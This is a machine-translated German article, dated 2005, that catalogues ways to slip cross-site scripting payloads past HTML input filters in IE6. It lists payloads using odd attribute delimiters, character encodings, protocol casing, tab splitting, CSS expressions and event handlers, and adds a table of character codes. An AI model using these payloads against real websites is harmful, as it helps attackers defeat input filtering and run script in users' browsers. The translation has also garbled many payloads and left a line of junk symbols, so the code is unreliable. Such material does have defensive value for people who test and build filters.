This page has been robot translated, sorry for typos if any. Original content here.

Funktionen der HTML-Syntax

Urheber : Algol , zFailure - Letzte Änderungen 13.06.2005

Eine der Hauptmethoden zum Schützen von Websites vor XSS-Schwachstellen ist die Verwendung verschiedener Filter für Benutzereingabestücke. Dieser Artikel beschreibt die Funktionen der HTML-Syntax, mit denen Sie diese Filter umgehen können.

Es sollte angemerkt werden, dass XSS-Schwachstellen vom Browser abhängig sind. Alle folgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder in anderen Browsern können die Beispiele auch nicht funktionieren. Zum Beispiel ist das Zeichen des umgekehrten Apostrophs (`) ein Attributbegrenzer nur im IE. Andere Browser, z. B. Opera, halten dieses Symbol nicht für trügerisch.

  • Begrenzer der Tag-Attribute.
    Zusätzlich zum Platz dürfen die Symbole verwendet werden: Schrägstrich ( / ), Tabellierung, Zeilenvorschub. Das Trennzeichen darf weggelassen werden, wenn die vorherige Zugehörigkeit in Anführungszeichen eingeschlossen ist.
     <image / src = "1.png" / alt = "Hint" / border = "0">
     <image src = "1.png" alt = "Tipp" border = "0">
     <image
     src = "1.png"
     alt = "Hint"
     border = "0">
     <image src = "1.png" alt = "Tipp" border = "0">
    
  • Attributbegrenzungen für Tags
    Werte dürfen in Anführungszeichen (double auch single) eingeschlossen werden, auch in Apostrophe, nur die allgemeine Erlaubnis ist nicht eingeschränkt.
     <image src = "" alt = "Mein Tipp" border = "0">
     <image src = "" alt = 'Mein Tipp' border = "0">
     <image src = "" alt = `Mein Tip` border =" 0 ">
     <image src = "" alt = Tipp border = "0">
    
  • Zeichencodierungen
    Die Entschlüsselung von Symbolen im Skript erfolgt vor der Ausführung:
      <img src = javascript: alert ("ok")>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & ########################################################################### ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
     <a href=javascript:alert(%22ok%22)> klick mich </a> (nur im href- Attribut)
    
    
  • Begrenzer von Zeichenliteralen in Skripten
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Bypass-Filterung einiger Zeichen
      <img src = javascript: i = neu / ** / Image (); i.src = 'http: //bla.bla'> (Ersetzung des Leerzeichens durch ein / ** /
    
    
  • Methoden zum Ausführen von Skripts
    Mehrere Möglichkeiten zur automatischen Ausführung von Skripten:
      <script> alert ('ok') </ script>
     <script src = 1.js> </ script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Inhalt aktualisieren = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: URL (javascript: alert ('ok')))>
     <span style = top: Ausdruck (alert ('ok')))> </ span>
     <span sss = "alert (); this.sss = null" style = top: Ausdruck (eval (this.sss));> </ span> (funktioniert nur einmal) <style type = "text / css"> @import url (javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (nur im IE) <a href=javascript:alert(%22ok%22)> Klick mich </a> (nur beim Klick auf den Link starten) <a href = Klicken Sie auf </a> (nur starten, wenn Sie auf den Link klicken) <br SIZE = "& {alert ('alert (); i = 2 + 2') + 'bbb' ('XSS')} "> (nur Netscape 4.x)
    
    
  • Verschiedene Skriptprotokolle, Schreibweisen
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (Leerzeichen bis Javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 112 & # 116: alert
     <img src = javascript & # 9: alert ()>
     <img src = javascript & # 10: alert ()>
     <img src = javascript & # 13: alert ()>
     <img src = "javascript
     : alert () "> (vor dem Doppelpunkt - das Tabulatorzeichen)
     
     <img src = "java
     scri
     pt: Ale
     rt () "> (innerhalb des Wortes Javascript - das Tab-Zeichen gibt auch den Wagen zurück)
     
    
  • Skripte im Stil einfügen
    Skriptoperatoren im Stilattribut müssen " \; " teilen.
     <hr style = 'background: url (javascript: alert (' ok 1 ') \; alert (' ok 2 ')) `>
    
  • Spezielle Tags.
      <image src = "1.png" alt = "" border = "0"> (das img funktioniert auch auf die selbe Weise) <plaintext> (alles was sich nach diesem Tag bewegt, wird als Klartext behandelt - <textarea> (alles, was sich später verschieben wird, wird als einfacher Text wahrgenommen - kein HTML in irgendeiner Weise) <xml> (alles, was nach diesem Tag verschoben wird, wird in keiner Weise angezeigt)
    
    
  • Tabelle der häufig verwendeten Codes:

    Symbol Dezimale Codierung 16. Zeichencodierung * Zeichenkodierung URL-Kodierung
    " & # 34 & # x22; " % 22
    ' & # 39 & # x27; % 27
    " & # 96 & # x60; % 60
    <space> & # 32 & # x20; +
    <tab> & # 9 & # x09; % 09
    <Wagenrücklauf> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt; lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <kurzer Bindestrich> & # 173 & # xAD; & schüchtern % AD
    & & & # 38 & # x26; & amp; % 26

    * - In manchen Fällen kann ein Semikolon weggelassen werden (wenn das Zeichen am Ende der Zeile steht oder nacheinander mehrere Zeichen in dieser Kodierung enthalten sind).

    Siehe auch: http://ha.ckers.org/xss.html
  • Es wird nicht überflüssig sein, dass Ihre Freunde diese Informationen kennen, ihren Artikel mit ihnen teilen!

    Expand / Collapse Feld "Expand / Collapse" mit Kommentaren

    Anmerkungen

    Wenn Sie sich dazu äußern, denken Sie daran, dass Inhalt und Ton Ihrer Botschaft die Gefühle realer Menschen verletzen, Ihren Gesprächspartnern Respekt und Toleranz zeigen, selbst wenn Sie ihre Meinung nicht teilen, Ihr Verhalten unter den Bedingungen der Meinungsfreiheit und Anonymität nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare werden aus dem Index verborgen, Spam wird kontrolliert.
    Jetzt kann jeder Artikel veröffentlichen
    Probieren Sie es zuerst aus!
    Schreiben Sie einen Artikel
    Hat es gefallen? Abonnieren Sie RSS- News,
    der erste sein, der Informationen erhält
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: